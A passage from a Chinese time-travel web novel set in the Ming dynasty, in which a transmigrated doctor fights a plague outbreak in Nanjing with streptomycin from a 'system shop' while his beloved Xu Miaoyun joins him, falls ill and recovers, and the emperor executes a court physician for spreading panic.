不过很幸运的是,她小心冲出了巷子就惊讶地发现,不远处就是曹国公府的临时驻地,‘曹’字旗飘扬在月光下。
……
曹国公府的临时营地设在城西,灯火通明。
十几辆大车满载麻袋,家丁们举着火把来回搬运。
徐妙锦刚靠近辕门,就被长矛交叉拦住。
“站住!疫区重地,闲人免进!”
徐妙锦亮出腰牌:“魏国公府徐妙锦,求见曹国公世子。”
守卫验过腰牌,匆忙进去通报。
不多时,李景隆大步走来。
“徐二小姐?”他瞪大眼睛,“你们不是在老家……等等,你怎么一个人进城了,是不是……”
李景隆话还没说完,徐妙锦将信递过去:“我大姐要见马大夫。”
李景隆接过信,脸色阴晴不定。
他压低声音:“你偷跑出来的?锦衣卫知道要掉脑袋!”
“所以我没惊动他们。”徐妙锦指了指身后,“翻墙出来的。”
李景隆倒吸一口凉气。
他左右看看,拽着徐妙锦走到僻静处:“你疯了?疫区现在死人都来不及埋,你大姐金枝玉叶的……”
“马大夫也在疫区。”徐妙锦打断他,“大姐说,若不带她去,她就自己找去。”
李景隆急得跺脚:“徐小姐惦记马大夫,难道马大夫就不惦记徐小姐?要是马大夫知道是我带徐妙云进疫区的,非扒了我的皮不可!”
徐妙锦攥紧拳头:“李大哥,你见过我大姐看马大夫的眼神吗?”
李景隆一怔。
“就像我娘当年看我爹。”徐妙锦声音轻却坚定,“你若拦着,她会恨你一辈子。”
营地里传来号令声,一队医者推着药车经过。
李景隆盯着晃动的火把影子,叹了口气:“锦衣卫那边……”
“我自有办法。”徐妙锦眼睛亮起来,“你只需安排马车。”
李景隆搓着手来回踱步,终于咬牙道:“丑话说前头,到地方必须听马大夫安排。若他不同意徐小姐留下,你们立刻回来。”
徐妙锦点头如捣蒜。
半个时辰后,驿馆后墙传来三声鹧鸪叫。
徐妙云推开窗,看见妹妹站在槐树下招手。
她拎起药箱,轻手轻脚翻出窗户。
“李景隆答应了?”徐妙云落地时裙角勾到树枝,撕开一道口子。
徐妙锦帮她拍掉落叶:“在巷口等着呢。不过大姐,马大夫若不许你留下……”
“那就打晕他。”徐妙云系紧药箱带子,“走。”
巷口的马车没有挂灯笼,李景隆亲自驾车。
见姐妹俩过来,他跳下车压低声音:“锦衣卫刚换岗,我们有一刻钟时间。”
徐妙云掀开车帘一角,“现在疫区什么情况?”
李景隆甩了个鞭花:“马大夫神了,居然真能治鼠疫。太医院那帮老顽固现在对他唯命是从。”
马车突然急刹。
一队巡逻兵迎面走来,李景隆亮出腰牌,对方行礼放行。
徐妙锦捏了把汗:“还以为被发现了。”
“这才到内城。”李景隆声音发紧,“出外城才是难关。”
果然,外城关卡处兵卒林立。
一个总旗模样的军官拦住马车:“曹国公世子,深夜出城需都指挥使手令。”
李景隆跳下车,往军官手里塞了一张宝钞:“通融下,我给马神医送药材。”
军官掂了掂银子,摇头:“上头死命令,没有手令谁都不能过。”
徐妙云突然掀开车帘:“这位军爷,马大夫要的链霉素在此,耽误了治病,您担待得起么?”
月光照在她手中的琉璃瓶上,泛着冷光。军官犹豫了。
李景隆趁机又塞了张宝钞:“马神医等着救命呢。”
军官终于侧身让开:“天亮前必须回来!”
马车冲出城门,徐妙锦长舒一口气。
徐妙云却盯着越来越近的火光,莫名地紧张起来。
疫区的景象逐渐清晰。
成排的草棚里人影晃动,石灰画的白线在月光下森然刺目。
马车在隔离带前停下,李景隆指着远处被火把簇拥的身影:“那就是马大夫。”
徐妙云跳下车,就见马淳正在给病人施针,鬓角散落的发丝被汗水黏在颊边。
“我去叫他。”李景隆刚要迈步,被徐妙锦拽住。
“让大姐自己去。”
徐妙云踩着石灰线走向隔离区。
守卫正要阻拦,她亮出魏国公府腰牌:“我是大夫。”
马淳正俯身给一个病人施针,指尖稳稳捏着银针,在病人颈后的穴位轻轻捻动。
徐妙云站在隔离带外,手指紧紧攥着药箱的带子。
十几天的思念在这一刻如潮水般涌来,冲得她眼眶发热。
她看着马淳眼角的疲惫,那抹青灰色应是许久未好好休息留下的痕迹,心疼得几乎喘不过气来。
马淳似有所感,手中银针微微一顿。
他抬起头,隔着摇曳的火光望向隔离带外。
模糊的视线里,一个熟悉的身影站在那里,火把的光映在她脸上,勾勒出他朝思暮想的轮廓。
“看花眼了吧。”马淳摇摇头,自嘲地笑了笑,继续低头施针。
“呆子!”
清脆的声音穿透嘈杂的疫区,马淳浑身一震,银针差点脱手。
他猛地抬头,这次看得真切——徐妙云就站在那里,发丝被夜风吹得有些凌乱,可那双眼睛亮得像是盛满了星光。
一股难以抑制的喜悦从心底涌上来,马淳几乎要冲过去抱住她。
但下一刻,这股喜悦就被无边的愤怒取代……
第58章 马淳这辈子算是栽了
“你来干什么!”马淳猛地站起身,声音里带着压抑不住的怒意,“这是疫区!这里有鼠疫!你知不知道鼠疫有多危险!”
他的声音在空旷的疫区回荡,引得周围的医者和病人都看过来。
马淳顾不上这些,大步走到隔离带前,却停在石灰线内,不肯再往前一步。
“你马上回去!现在!立刻!”马淳指着城门方向,手指因为愤怒而微微发抖,“李景隆呢?让他送你回城!”
徐妙云看着马淳暴怒的样子,嘴角却慢慢扬起一个笑容。
那笑容越来越大,最后变成明媚的笑靥,在火光映照下格外动人。
“你还笑!”马淳气得几乎跳脚,“这是会死人的!你知不知道每天这里要抬出去多少尸体?你知不知道腺鼠疫一旦感染,三天就能要人命!”
徐妙云轻轻放下药箱,从里面取出一个布包。
她慢慢解开布包,露出里面整整齐齐叠放的口罩。
“我带了药材,还有新做的口罩。”她声音轻柔,却坚定得不容置疑,“金银花、黄连、板蓝根,都是你教过我的。”
马淳看着那些药材,胸口剧烈起伏。
他多想冲过去抱住这个傻姑娘,可理智告诉他必须把她赶走。
“徐妙云!”他几乎是吼出这个名字,“你别任性!这不是儿戏!你马上给我回去!”
周围的医者都停下手中的活,默默看着这对年轻人。
一个年老的医者摇摇头,低声对同伴道:“年轻真好啊。”
徐妙云对马淳的怒吼充耳不闻。
她弯腰提起药箱,一步跨过石灰线。
“站住!”马淳厉声喝道,“不准过来!”
徐妙云脚步不停,继续向前走。
马淳急得额头青筋暴起,连连后退。
“你疯了!你会死的!你知不知道我这些天见过多少人死在我面前!”马淳的声音已经带上几分哽咽,“我不能再看着你也……”
徐妙云终于走到马淳面前,仰头看着这个比她高半头的男人。
她伸手想碰他的脸,却被马淳一把抓住手腕。
“你到底要干什么!”马淳几乎是咬着牙说出这句话,眼眶通红。
徐妙云看着马淳通红的眼睛,轻声道:“我来陪你。”
简简单单四个字,却像一柄重锤砸在马淳心上。
他抓着徐妙云手腕的手指微微发抖,想用力把她推开,却又舍不得。
“你……”马淳的声音低了下来,带着几分哀求,“妙云,算我求你,回去吧。”
徐妙云摇摇头,另一只手抚上马淳的脸颊。
她的指尖冰凉,却让马淳觉得滚烫。
“我不走。”徐妙云的声音很轻,却坚定如铁,“你在哪,我就在哪。”
马淳仰头闭上眼,一滴泪从眼角滑落。
来到明朝之后,马淳一直以为自己当个大夫,应该很少有人会愿意靠近自己。
可却遇到了徐妙云。
这个女子本在历史上会成为燕王妃,会成为一代贤后,虽然那是史书润色出来的。
但他怎么都没想到,这个女子现在对自己感情如此之深。
鼠疫!
多可怕的字眼,是人都想躲着。
他之前还在庆幸徐妙云在鼠疫爆发前刚好去了凤阳老家,刚好离开了这个危险之地。
却没想到她却自己主动回来。
他在感动之余,也在做最后的挣扎。
他深吸一口气,猛地松开徐妙云的手腕,转身就走。
“马明湛!”徐妙云喊他。
马淳脚步顿了一下,头也不回,声音冷硬地说道:“既然不走,那就干活。疫区不养闲人。”
徐妙云看着马淳的背影,嘴角又扬起那个明媚的笑容。
她知道,这是马淳妥协的方式。
她快步跟上,走到马淳身边。
马淳却不看她,从药箱里取出一副新手套扔给她。
“戴上。”他硬邦邦地说,“接触病人前必须消毒。”
徐妙云乖乖戴上手套,又拿出自己做的口罩戴上。
马淳瞥了她一眼,从药箱里取出自己从系统商城里兑换的口罩,责备起来:“做得还行,不过在疫区还差点,戴上这个。”
看着马淳把口罩递到自己面前却又坚决不看自己的模样,徐妙云噗嗤一声乐了出来。
“笑什么?”马淳口气很硬地问。
徐妙云伸手去接口罩,故意碰了碰他的手,马淳没有缩回去。
“明明心里有我为什么还要推开我?”徐妙云戴上口罩,声音变得沉闷了一些。
马淳耳朵尖都红透了,口是心非道:“谁心里有你?”
徐妙云也不在乎,脸色严肃起来:“到底是怎么回事?怎么突然就有了鼠疫?”
马淳也恢复了严肃,“估计是上游大水冲垮了河堤,把一窝窝老鼠冲了出来,老鼠寻食吃,混进了灾民堆里。灾情混乱,所以就染上了。”
徐妙云脸上没有了刚才相逢的喜悦,“看起来是一块难啃的骨头。”
“到目前为止已经死了五十多人,整个京城人心惶惶,粮价飞涨,皇帝已经下令如果十天之内不控制疫情,在疫区的所有人都得死。”马淳说着话,回头看了徐妙云一眼。
“妙云,我刚才的话是真的,这次很危险,你没必要陪我挑这个火坑。”马淳的眼神很坚定。
听到这话的徐妙云反而是轻松一笑:“身为医者,岂能临阵畏惧?此方战场,你我并肩作战。”
听到这话的马淳再也不想含蓄,或者说再也不想失去眼前之人,面对徐妙云的微笑,他伸出了手,握紧了徐妙云的手,点点头,“好!我们并肩作战!”
感受着马淳大手即便隔着医用手套,却依旧滚烫的手,徐妙云眼泪压抑不住的往外喷涌,她胸腔里仿佛有一块抹布堵住了咽喉,只能用用力的点头来表示自己的激动。
远处,李景隆和徐妙锦站在马车旁,默默看着这一幕。
“我大姐赢了。”徐妙锦笑着说。
李景隆摇摇头:“马淳这辈子算是栽了。”
新的病患被抬进来,马淳和徐妙云立刻迎上去,开始忙碌的工作。
没有人再提离开的事。
有些选择,一旦做出,就无需多言……
第59章 瘟疫时期的爱情
黎明,疫区。
马淳揉了揉酸胀的眼睛,将最后一份药汁倒入陶碗。
药汁泛着琥珀色,那是掺了链霉素的特效药。
到现在为止,他已经花了一千二百积分兑换链霉素。
“第三区还有十二个重症没服药。”徐妙云的声音从身后传来,带着疲惫的沙哑。
马淳转身,看见她抱着一摞空碗站在药棚门口,几缕发丝黏在苍白的脸颊上。
才两天功夫,那双杏眼下已经浮现出淡淡的青影。
“你去睡会儿。”马淳接过碗摞,“剩下的我来。”
徐妙云摇头,“张大夫说今早又发现三例疑似,都在北边新来的流民里。”
闻言,马淳也不好说什么。
两人沉默着分装汤药。
正装着药,忽然远处传来压抑的哭声。
马淳手上一顿,低下头去。
不用看也知道又有人没能熬过这个寒夜。
“第三十七个了。”徐妙云轻声说。
即便是一个女子,对于这种情况,徐妙云也习惯了。
作为医者,她很明白自己必须要习惯这些。
马淳把药碗搁在案上:“要是能早两天发现……”
“你已经救了六百多人。”徐妙云伸手按住他的手腕,“明湛,你不是神仙。”
她的指尖冰凉,却带着令人安定的力量。
马淳深吸一口气,长叹一声。
“走吧,该发药了。”马淳拎起药篮。
天渐亮时,他们巡完了最后一个病棚。
马淳蹲在河边洗手,冰凉的河水刺得伤口生疼。
徐妙云默默递来一块干净帕子,他这才发现徐妙云的虎口裂了两道口子。
“你手怎么了?”马淳抓住她的手腕。
那双本该养尊处优的手,现在布满细小的裂痕,指节处还蹭破了一块皮。
徐妙云抽回手藏到背后:“熬药时蹭的,不碍事。”
马淳从药囊挖出一坨药膏,不由分说拉过她的手涂抹。
药膏是淡绿色的,还带着一点薄荷的清香。
徐妙云怔怔看着他低垂的睫毛,还有手上温热的触感,忽然觉得这两天的疲惫都值得。
“马大夫!”张大夫的喊声打破了宁静,“东区有人闹事!”
闻言二人脸色一变,不顾疲劳,急忙赶去。
……
东区。
粮棚前已经围了上百人,一个壮汉正揪着医官的衣领吼叫:“我娘喝了你们的药,今早就没气了!什么狗屁神医,分明是拿我们试药!”
在随时会死人的情况下,任何煽动性的言语都会像点燃爆竹的引信。
人群顿时骚动起来,有人开始推搡维持秩序的兵丁。
马淳挤进人群时,看见草席上躺着个老妇人,脸色青灰,嘴角还挂着药渍。
“让我看看。”马淳蹲下身。
壮汉一把推开他:“滚开!你们这些官府的走狗!”
徐妙云挡在马淳面前:“你干什么?要不是马大夫在,你们所有人都得死,你真那么有种,为什么还要赖在隔离区。”
她声音不大,眼神却像一只护崽的雌虎,让壮汉愣了一瞬。
马淳没有管这些,问道:“你娘什么时候服的药?”
“天、天没亮的时候……”
“药方里有麻黄,体虚者服用后会有假死之相。”马淳道。
徐妙云会意,蹲下身掀开老妇人的衣领,一摸脉象,“她颈侧还有脉动。”
马淳立刻取出银针刺入老妇人人中。
片刻后,老妇人猛地抽了口气,浑浊的眼睛缓缓睁开。
人群爆发出一阵惊呼。
“真是神医啊!”
“刚才谁说要砸药棚的?”
“马神医菩萨心肠……”
壮汉扑通跪倒在地,额头磕得砰砰响。
马淳没有理会他,而是转头对张大夫说:“以后麻黄减半,体弱患者单独配药。”
张大夫等医者再次对马淳投去佩服的目光。
解决完了骚乱,马淳带着徐妙云就走。
“以后不要挡在我面前,我毕竟是男子汉。”马淳道。
徐妙云微微一笑,点了点头。
回药棚的路上,徐妙云的脚步越来越慢。
马淳回头时,发现她正扶着树桩喘气。
“撑不住了?”马淳伸手想扶她。
徐妙云摇摇头,倔强地想说不,身子却一歪。
马淳急忙接住她,她已经累得站着都要睡着了。
诶……
长叹一口气,马淳慢慢蹲下身,让她靠得更舒服些。
徐妙云的呼吸拂过他后颈,温热而均匀。
他轻轻往后靠了靠,让她枕得更稳当。
这个动作牵动了酸痛的肩背,马淳却舍不得动。
徐妙云的睫毛在阳光下像两把小扇子,却遮盖不住青黑的眼圈。
“睡吧。”马淳用气音说,仿佛在哄孩子。
不知过了多久,李景隆和锦衣卫千户的脚步声惊醒了这短暂的安宁。
马淳竖起食指抵在唇上,锦衣卫千户立刻放轻了脚步。
“皇上派了援军。”李景隆压低声音,“五军营三千人正在外围挖隔离沟。”
马淳依旧保持着弯腰的姿态,问道:“药材呢?”
“太医院又送来十车,富商们捐了五百石石灰。”李景隆递上清单,“但蒋护卫说上游又发现新的病例。”
马淳揉着太阳穴:“得建立第二道隔离区。”
正说着,徐妙云突然惊醒:“我睡着了?”
马淳按住她肩膀:“去帐篷睡两个时辰。”
“可是……”
“这是医嘱。”马淳板起脸,“病人需要清醒的大夫。”
徐妙云张了张嘴,最终乖乖走向帐篷。
马淳看着她摇摇晃晃的背影,转头对李景隆说:“找两个婆子看着她,别让她偷偷爬起来干活。”
看到徐妙云如此听马淳的话,李景隆很是羡慕马淳的艳福。
这可是全京城第一才女啊。
……
午后烈日最毒时,马淳正在教流民调配消毒药水,徐妙云拎着药箱匆匆跑来。
“北区发现怪病!”她气喘吁吁地说,“病人浑身发黑,呕血不止!”
马淳心头猛地一沉。
这症状听着不像腺鼠疫,倒像是更可怕的肺鼠疫。
他抓起药箱就往北区跑,徐妙云小跑着跟上。
“你回去!”马淳厉声道。
徐妙云不仅没停,反而跑得更快:“我要去!”
“你就不能偶尔听听我的话吗?”马淳急坏了。
“其他时候行,现在不行。”徐妙云也是很倔强。
马淳顿感无力。
二人来到北区草棚看到,躺着三个病人皮肤已经呈现诡异的紫黑色。
马淳戴好兑换来的N95医用口罩,又给徐妙云也戴上医用口罩后,这才上前去掀开病人的衣襟。
此人胸前布满出血点,正是肺鼠疫的典型症状。
“所有人后退十步!”马淳厉喝,“接触过这三个人的立刻去药棚喝预防汤药!”
人群慌乱后退,只有徐妙云站在原地没动。
她打开药箱,取出一包药粉:“链霉素还够用吗?”
马淳盯着她看了两息,笑了:“你真是……”
“烦人?”徐妙云挑眉。
“勇敢。”马淳接过药粉,“去准备石灰水,这里交给我。”
徐妙云却没走,而是取出银针:“你教过我的,刺络放血可以缓解瘀毒。”
两人默契的分工合作。
马淳注射链霉素,徐妙云用银针刺破患者指尖放血。
黑血滴在草席上,散发出腥臭的气味。
日落时分,三个病人的紫绀终于褪去。
马淳瘫坐在草棚外,发现自己的手在不受控制地发抖。
徐妙云挨着他坐下,递来一碗温水。
“怕吗?”她问。
马淳看着碗里晃荡的水面:“怕。肺鼠疫的死亡率是腺鼠疫的三倍,看到一个就要救一个,要不然不堪设想。”
“我们又救活了这三个。”徐妙云轻声说。
“辛苦你了。”马淳道。
“辛苦的是你。”徐妙云回。
……
第60章 非常时期散播谣言就是死罪
皇宫,奉天殿。
朱元璋背对殿门,手中捏着锦衣卫刚送来的密报,脸上满是愤怒。
“混账东西!”他猛地转身,将密报砸在跪伏于地的胡行一脸上,“这就是朕的太医院院判?”
胡行一浑身发抖,额头抵着冰冷的金砖不敢抬头。
朱标站在御案旁,素来温和的脸上罕见地带着怒意:“胡院判可知因你一句‘鼠疫要屠城’,京城粮价已涨了三倍?百姓闭户不出,连巡防营都有人装病逃差!”
“臣、臣当时吓糊涂了……”胡行一哆嗦着辩解,“古籍确有记载,……”
“闭嘴!”朱元璋大吼一声,“马淳用石灰画个圈就能防住的病,到你嘴里就要屠城?徐家丫头金枝玉叶都敢进疫区,你倒躲在太医院烧《瘟疫论》!”
胡行一抬头,眼中闪过一丝狠色:“陛下!马淳所用西域秘药来历不明,万一……”
“万一你娘个头!”朱元璋抄起镇纸砸过去,正正好好砸中胡行一的脑门,砰的一声闷响,胡行一额头顿时血流如注,“蒋瓛亲眼看见链霉素救活鼠疫患者,你还敢污蔑功臣?”
殿外传来急促脚步声。
蒋瓛大步入内,“禀陛下,按马大夫的法子,新发病例已连续三日下降。”
朱标闻言长舒一口气,却见胡行一膝行上前抱住朱元璋的靴子:“陛下!臣有良策!只要将现有病患集中处置,再派兵封锁百里内所有村落,必能永绝后患!”
殿中霎时死寂。
朱元璋缓缓俯身,“你再说一遍?”
胡行一浑然不觉杀机,急声道:“臣翻阅古籍,发现前朝应对大疫皆是雷霆手段。比如至正年间河北道……”
“标儿。”朱元璋突然直起身,“你说这人该不该杀?”
朱标闭了闭眼:“该杀。”
胡行一这才慌了:“太子殿下!臣是为江山社稷……”
“放你娘的屁!”朱元璋暴喝一声,“马淳和徐妙云在疫区救活八百多人,你倒要杀一万人多人?来人!拖出去砍了!全家流放琼州!”
“砍他的时候沿途告知百姓,此人妖言惑众,疫情早已得到控制,百姓只要不出城便不会有感染风险。”
朱元璋这是要借他的脑袋来控制舆情。
四名锦衣卫如狼似虎地扑上来,架起他就往外拖。
胡行一挣扎间竟突然失禁,腥臭液体顺着裤管滴在金砖上。
朱元璋冷笑:“就这怂包也配穿三品补服?传旨!太医院上下俸禄扣半年,全部给朕去疫区轮值!”
“蒋瓛。”皇帝的声音低沉而威严。
锦衣卫指挥使立刻上前抱拳:“臣在。”
“把胡行一捆了,堵上嘴,拉去游街。”朱元璋眯起眼睛,“让全京城的百姓都看看,这个太医院院判是怎么妖言惑众的。”
蒋瓛领命而去。
不多时,一队锦衣卫押着五花大绑的胡行一出了皇城。
胡行一的嘴被粗布条勒住,只能发出呜呜的声音。
锦衣卫敲着铜锣走在前面:“奉旨示众!太医院院判胡行一妖言惑众,谎称瘟疫不可控!实则民间大夫早已控制疫情!”
街边的百姓渐渐围拢过来。
有人认出胡行一,指指点点:“这不是太医院的胡大人吗?”
“就是他!前几日还说要屠城呢!”一个卖菜的妇人愤愤地啐了一口。
“什么狗屁院判,还不如民间神医呢。”
“就是,你个人老东西自己高官厚禄的,就不管普通百姓的死活,杀得好!”
锦衣卫继续高喊:“陛下有旨!只要百姓不随便出城,就不会感染瘟疫!”
人群顿时骚动起来。
一个老者颤巍巍地问:“官爷,当真不用怕了?”
“马神医带着大夫们已经救活了八百多人!”锦衣卫大声回答,“疫情已经控制住了!”
“我就说嘛!”一个年轻人拍着大腿,“我表兄在疫区帮忙,说马大夫的法子灵得很!”
胡行一被推搡着走过一条又一条街道。
百姓们的唾沫和烂菜叶不断砸在他身上。
他挣扎着想要辩解,却被布条勒得只能发出含糊的呜咽。
午时三刻,胡行一被押到菜市口。
刽子手的大刀在阳光下闪着寒光。
“斩!”
刀光闪过,一颗花白的头颅滚落在地。
人群爆发出欢呼声。
……
消息很快传到了疫区。
马淳当时正在给病人换药,一个锦衣卫匆匆跑来,在他耳边低语了几句。
马淳的手顿了一下,继续手上的动作:“知道了。”
徐妙云端着药碗走过来,看见马淳的脸色不对:“怎么了?”
“胡院判被斩了。”马淳的声音很平静,“游街后当众处决。”
药碗在徐妙云手中晃了一下,她沉默了片刻,轻声道:“他罪不至死。”
马淳摇摇头,继续给病人包扎:“在这种时候,散播恐慌就是死罪。”
两人都没再说话。
夜幕降临后,马淳和徐妙云坐在药棚外的石头上休息。
远处的篝火映照在两人疲惫的脸上。
“其实他说得没错。”马淳突然开口,“以往面对鼠疫,最好的办法就是杀死所有感染者。”
徐妙云抬头看他:“但你找到了更好的办法。”
马淳苦笑,“如果没有链霉素,我们也会束手无策。”
徐妙云轻轻握住他的手:“所以我们要更努力,救更多的人。”
马淳转头看她。
火光中,徐妙云的眼睛亮得惊人。
他忽然觉得胸口有什么东西在发烫。
“妙云。”他轻声唤道。
“嗯?”
“谢谢你来了。”
徐妙云笑了,眼角泛起细小的纹路:“我不来,你会想我的。”
马淳也笑了:“是啊,我会想你。”
两人相视一笑,所有的疲惫仿佛都在这一刻消散了。
经历了这场生死考验,两个人再也没有掩饰心中的情感。
忽然远处传来急促的脚步声。
李景隆带着几个士兵匆匆跑来:“马大夫!上游又送来一批病人!”
马淳立刻站起身:“多少?”
“三十七个!”李景隆喘着气,“其中有五个症状很重!”
马淳和徐妙云对视一眼,不顾疲劳,同时迈步向隔离区跑去。
……
第61章 徐妙云染上鼠疫!下一个‘吕素\’
疫区,半夜。
马淳和徐妙云刚刚处理完新送来的三十七名病人,其中五个症状极重,几乎耗尽了两人全部的精力。
“都是腺鼠疫。”马淳擦了擦额头的汗,声音沙哑,“还好不是肺鼠疫,否则……”
他没有说完,但徐妙云明白他的意思。
肺鼠疫比腺鼠疫凶险得多,一旦感染,几乎九死一生。
两人在药棚外稍作休息,夜风微凉,徐妙云揉了揉发酸的肩膀,忽然皱了皱眉,抬手按住了自己的胸口。
“怎么了?”马淳察觉到她的异样,转头问道。
徐妙云轻轻摇头,但很快又咳嗽了两声,声音有些闷。
她低头看了看自己的掌心,眉头微蹙,随后抬头看向马淳,神情平静。
“我可能染上了。”她说道,语气里没有惊慌,只有一丝淡淡的无奈。
马淳的瞳孔骤然一缩,立刻伸手探向她的额头——滚烫。
“什么时候开始的?”他的声音绷紧,手指已经搭上了她的脉搏。
“傍晚时有些发冷,现在胸口发闷,呼吸不太顺畅。”徐妙云如实回答,目光坦然地看着他,“应该是肺鼠疫。”
马淳的心猛地沉了下去。
肺鼠疫发病极快,若不及时用药,三日之内便能夺人性命。
他立刻站起身,一把拉住徐妙云的手腕。
“走,立刻用药。”
徐妙云没有挣扎,任由他带着自己快步走向药棚。
她的脚步已经有些虚浮,呼吸也比平时急促,但她仍然强撑着,不让自己倒下。
马淳迅速取出链霉素,动作利落地调配好剂量,随后看向徐妙云。
“会有点疼。”他低声道。
徐妙云微微一笑,伸出手臂:“来吧。”
针尖刺入皮肤的瞬间,她只是轻轻皱了皱眉,没有发出一点声音。
药液缓缓推入体内,马淳紧盯着她的反应,生怕错过任何异常。
“躺下休息。”他扶着她躺到简易的床榻上,又取来湿布敷在她的额头,“药效需要时间,你会很难受,但一定要撑住。”
徐妙云点点头,眼神已经有些涣散。
高热让她的脸颊泛起不正常的潮红,呼吸越发急促。
她伸手抓住马淳的衣袖,指尖微微发抖。
“明湛……”她的声音很轻,带着一丝哽咽,“我不想死。”
马淳握住她的手,用力攥紧:“你不会死。”
“我舍不得你。”她的眼泪顺着眼角滑落,声音越来越低,“我还没嫁给你……”
马淳的喉咙发紧,胸口像是被什么东西狠狠撞了一下。
他俯下身,贴近她的耳边,声音坚定:“徐妙云,你听好了,我不会让你死。你救过那么多人,老天不会这么不长眼。”
徐妙云的睫毛颤了颤,泪水浸湿了枕边。
她的意识已经开始模糊,但仍旧固执地抓着马淳的手不放。
“明湛……”她喃喃道,“我想嫁给你……”
马淳深吸一口气,忽然松开她的手,转身从地上折下一根干枯的稻草。
他的手指灵活地搓捻着,很快便编成了一枚粗糙的草戒指。
然后回到徐妙云身边,单膝跪地,将草戒指轻轻托在掌心。
“徐妙云。”他凝视着她的眼睛,声音低沉而郑重,“你愿意嫁给我吗?”
徐妙云的泪水再次涌出,她艰难地抬起手,指尖轻轻触碰那枚草戒指,嘴角却扬起一抹虚弱的笑。
“愿意……”
马淳小心翼翼地将草戒指戴在她的手指上,随后俯身将她拥入怀中。
徐妙云靠在他的胸口,听着他有力的心跳,泪水无声滑落。
“睡吧。”马淳轻抚她的发丝,“等你醒了,我们就成亲。”
徐妙云轻轻“嗯”了一声,终于在他的怀里沉沉睡去。
……
徐妙云的高热始终不退,链霉素的药效似乎被某种力量压制着。
她的额头滚烫,脸颊泛着不正常的潮红,呼吸急促而微弱。
马淳守在床边,手指紧紧扣着她的手腕,脉搏的每一次跳动都牵动着他的神经。
他从未如此清晰地感受到时间的流逝,每一秒都像刀割般难熬。
“明湛……”徐妙云突然睁开眼,瞳孔涣散,声音飘忽,“你别走……”
马淳立刻俯身靠近:“我在,我哪儿都不去。”
她的手指无力地抓着他的衣袖,指尖冰凉:“我看到一扇门……黑雾里……好冷……”
“别胡说!”马淳声音陡然提高,又强行压下,“你只是发热产生了幻觉,好好休息,别想这些。”
徐妙云的眼神渐渐失焦,嘴唇颤抖着:“如果我死了……你别难过……”
“你不会死!”马淳一把攥住她的手,力道大得几乎要捏碎她的指骨,“徐妙云,你给我听清楚,我不准你死!”
蒋瓛无声地出现在药棚门口。
马淳察觉到视线,转头与他对视。
蒋瓛缓缓开口:“马大夫,你需要冷静。”
“我很冷静。”马淳声音沙哑。
“医者不自医,但你必须比任何时候都清醒。”蒋瓛走近几步,“徐小姐的命在你手里。”
马淳深吸一口气,松开徐妙云的手,起身走到药架前。
他的动作很稳,取出药材时没有一丝颤抖。
蒋瓛看着他的背影,“皇上派了御医过来,就在外面。”
“让他们走。”马淳头也不回,“我的女人我会治。”
蒋瓛没有坚持,转身离去。
片刻后,外面传来低声的争执,很快归于平静。
马淳将煎好的药端到床边,扶起徐妙云。
她的身体软得像一滩水,药汁从嘴角溢出大半。
“咽下去。”马淳捏着她的下巴,声音严厉,“徐妙云,你不是要嫁给我吗?把药喝了!”
或许是这句话起了作用,徐妙云的喉咙滚动了几下,终于将药咽了下去。
马淳刚松了口气,她却突然剧烈咳嗽起来,一口鲜血喷在他的衣襟上。
鲜红的血迹在青色布衣上晕开,刺目惊心。
马淳没有躲,没有嫌弃,只有无尽的心疼。
这个女孩,本可以在凤阳老家不用冒险,却因自己来到这危险之地。
若自己还嫌弃,那算人吗?
“妙云!”马淳一把抱住她,手掌拍着她的后背。
徐妙云瘫软在他怀里,气若游丝:“对不起……弄脏了你的衣服……”
马淳眼眶发热,声音却异常平静:“一件衣服而已,等你好了,给我做十件新的。”
徐妙云虚弱地笑了笑,又昏睡过去。
天边泛起鱼肚白时,李景隆匆匆赶来。
他看到马淳通红的双眼和衣襟上的血迹,脸色骤变。
“徐小姐她……”
马淳打断他:“去告诉徐妙锦,她姐姐需要她。”
李景隆欲言又止,最终还是转身离去。
半个时辰后,药棚外传来急促的脚步声。
徐妙锦站在隔离带外,被锦衣卫拦住。
她隔着石灰线,看到床上的姐姐,整个人僵在原地。
“大姐……”她的声音颤抖着,眼泪瞬间涌出。
……
第62章 你好了后咱们就成亲!
马淳站起身:“她听得见,你就在外面说。”
徐妙锦隔着距离喊道:“大姐,我是妙锦,你睁开眼看看我……”
徐妙云的眼皮动了动,却没有睁开。
马淳背对着她们,看上去‘很平静’。
徐妙锦的哭声渐渐变大:“大姐你不能丢下我……你说过要带我去秦淮河看花灯的……你答应过我的……”
马淳猛地转身,声音冰冷:“别哭了!她还没死!”
徐妙锦被吓得一哆嗦,眼泪挂在脸上,不敢再出声。
马淳深吸一口气,放软了语气:“跟她说话,别说这些丧气话。”
徐妙锦擦了擦眼泪,对着药棚喊道:“大姐,马大夫好凶……你快点好起来,帮我骂他……”
马淳嘴角抽了抽,没说什么,继续捣药。
日头渐高,药棚里闷热难当。
徐妙云的高热依旧未退,但呼吸平稳了些。
蒋瓛再次出现,手里捧着一个锦盒:“皇上赐的百年老参。”
马淳接过,看也不看就扔进药罐:“多谢。”
蒋瓛看了眼床上的徐妙云,低声道:“需要什么尽管开口。”
马淳头也不抬:“需要你们别来打扰。”
蒋瓛点点头,悄无声息地退了出去。
午后,徐妙云的情况突然恶化。
她的呼吸变得急促,嘴唇泛起青紫色。
马淳立刻给她注射了第二剂链霉素,然后不停地用湿布擦拭她的身体。
“撑住……”他咬着牙,声音低得只有自己能听见,“徐妙云,你给我撑住……”
徐妙锦在远处手足无措,眼泪止不住地流。
夜幕再次降临,马淳的眼睛布满血丝,却不敢有丝毫松懈。
便在这时,徐妙云缓缓睁开眼,目光清明了一瞬:“明湛……”
马淳立刻凑过去:“我在。”
“我梦见你娶我了……”她的声音很轻,却格外清晰,“穿着大红喜服……真好看……”
马淳喉头发紧:“不是梦,等你好了,我们就成亲。”
徐妙云笑了笑,又闭上眼睛。
这一次,她的呼吸平稳了许多。
马淳摸了摸她的额头,热度退了些。
他长舒一口气,这才发现自己的后背已经被汗水浸透。
徐妙锦小心翼翼地问:“大姐她……”
“熬过来了。”马淳的声音里带着疲惫,“去休息吧,我守着她。”
徐妙锦摇摇头:“我要陪着大姐。”
马淳没有再劝,只是搬了把椅子给她。
夜深人静,药棚里只剩下徐妙云均匀的呼吸声。
马淳握着她的手,终于允许自己露出一丝脆弱。
他的手指轻轻摩挲着那枚草戒指,低声呢喃:“快点好起来,我还等着娶你呢。”
……
天刚蒙蒙亮,药棚外传来窸窸窣窣的脚步声。
马淳掀开帘子,看到十几个衣衫褴褛的百姓站在石灰线外。
他们手里捧着各式各样的东西——半块干粮、几枚野果、皱巴巴的平安符。
